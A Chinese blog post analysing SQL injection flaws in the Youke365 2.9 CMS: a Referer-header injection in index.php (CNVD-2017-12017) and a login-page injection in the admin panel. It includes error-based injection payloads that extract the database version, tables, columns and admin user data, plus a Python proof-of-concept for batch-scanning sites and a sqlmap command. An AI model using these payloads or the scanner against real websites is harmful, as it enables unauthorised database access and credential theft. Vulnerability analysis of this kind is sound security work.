面由心生,相随貌转。
俗话说得好
HTTP_REFERER 注入

1、漏洞编号
CNVD-2017-12017

2、漏洞介绍
优客365是一个基于 PHP+MYSQL 开发构建的开源网站分类目录管理系统,在 2.9 版本的首页 index.php 存在基于 HTTP-REFERER 字段的 SQL 注入漏洞,攻击者可利用该漏洞执行任意 SQL 语句,获得数据库敏感信息。

3、源码分析
index.php 文件中,获取 HTTP 请求报文的 referer 字段(如果有),且没有过滤就拼接在 SQL 语句中。

4、漏洞利用
单引号报错
http://abc.com'
根据报错信息可以之后后端 SQL 语句的代码逻辑,和数据库类型。
这里使用报错注入的方式探测数据库的敏感信息。基于 MySQL 的报错注入有三种方式 floor/extractvalue/updatexml 。
① floor 注入
select 1 from(select count(*),concat((version()),floor(rand(0)*2))x from information_schema.tables group by x)a
② extractvalue 注入
extractvalue(1,concat(0x7e,(version()),0x7e))
③ updatexml 注入
updatexml(1,concat(0x7e,(version()),0x7e),1)
需要注意的是 MySQL_v5.0.96 版本的还有 floor 报错注入,高版本的没有;MySQL 5.1.5 版本中添加了对 XML 文档进行查询和修改的两个函数:extractvalue/updatexml 。
1、查看数据库版本
http://abc.com' or updatexml(1,concat(0x7e,version(),0x7e),1) or '
2、查看当前使用的数据库
http://abc.com' or updatexml(1,concat(0x7e,database(),0x7e),1) or '
3、查看当前数据库下的表
http://abc.com' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema="youke365" limit 0,1),0x7e),1) or '
4、查看数据表下的字段名
http://abc.com' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema="youke365" and table_name="users" limit 0,1),0x7e),1) or '
5、查看数据库的管理员账密
http://abc.com' or updatexml(1,concat(0x7e,(select user_type from youke365.users limit 0,1),0x7e),1) or '

5、Poc实现
知道了 payload ,接下来就可以写个 POC 来批量检测有存在漏洞的网站了。
这里有个小问题要注意,就是在 index.php 源码中,下面通过 $domain = $matches[2]; 来获取 URL 的主域名部分。
这里使用 python 的 urllib.parse 模块来分割 URL 的主域名部分。
import urllib.parseurl = "http://www.baidu.com/abc/def"proto, rest = urllib.parse.splittype(url) #分割出协议和剩余部分print(proto, rest)res, rest = urllib.parse.splithost(rest) #分割出主域名和其他目录print(res, rest)
C:\Users\Lin\Desktop>python3 test.pyhttp //www.baidu.com/abc/defwww.baidu.com /abc/def
POC:
import urllib.parseimport requestsclass Pocscan(object): def __init__(self, target): self.result = { "ctype": "sqli", "status": False, "info": "", "target": target, "payload": "yk365_referer_sqli.py", } def verify(self): proto, rest = urllib.parse.splittype( self.result["target"]) # 分割出协议与剩余部分 res, rest = urllib.parse.splithost(rest) # 分割出主域名和子目录 header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0", "Referer": proto + "://" + res + "' or updatexml(2,concat(0x7e,(version()),0x7e),0) or '", } target = self.result["target"] vul_url = target + '/index.php' try: req = requests.get(url=vul_url, headers=header) text = req.text if r'XPATH syntax error' in text: self.result['status'] = True self.result["info"] = 'This system is vulnable!' except Exception as e: self.result["info"] = e return self.resultdef main(): url = "http://192.168.43.7/vuln/yk365_down" poc = Pocscan(url) result = poc.verify() print(result)if __name__ == '__main__': main()
C:\Users\Lin\Desktop>python3 test.py{'payload': 'yk365_referer_sqli.py', 'ctype': 'sqli', 'status': True, 'info': 'This system is vulnable!', 'target': 'http://192.168.43.7/vuln/yk365_down'}
后台 SQL 注入

1、源码分析
后台注入的页面在 system/login.php,经过跟踪后发现产生漏洞的代码出现在 module/login.php。
trim函数是取出字符串左右的空白字符。没有对用户提交参数做关键字的过滤就进行参数拼接。

2、漏洞复现
单引号报错。
floor报错注入
上sqlmap,将登录页面的请求包数据保存在 post.txt 文件。
python3 sqlmap.py -r post.txt
尾声
我是匠心,一个在清流旁默默磨剑的匠人,期待那一天能利刃出鞘,仗剑走江湖。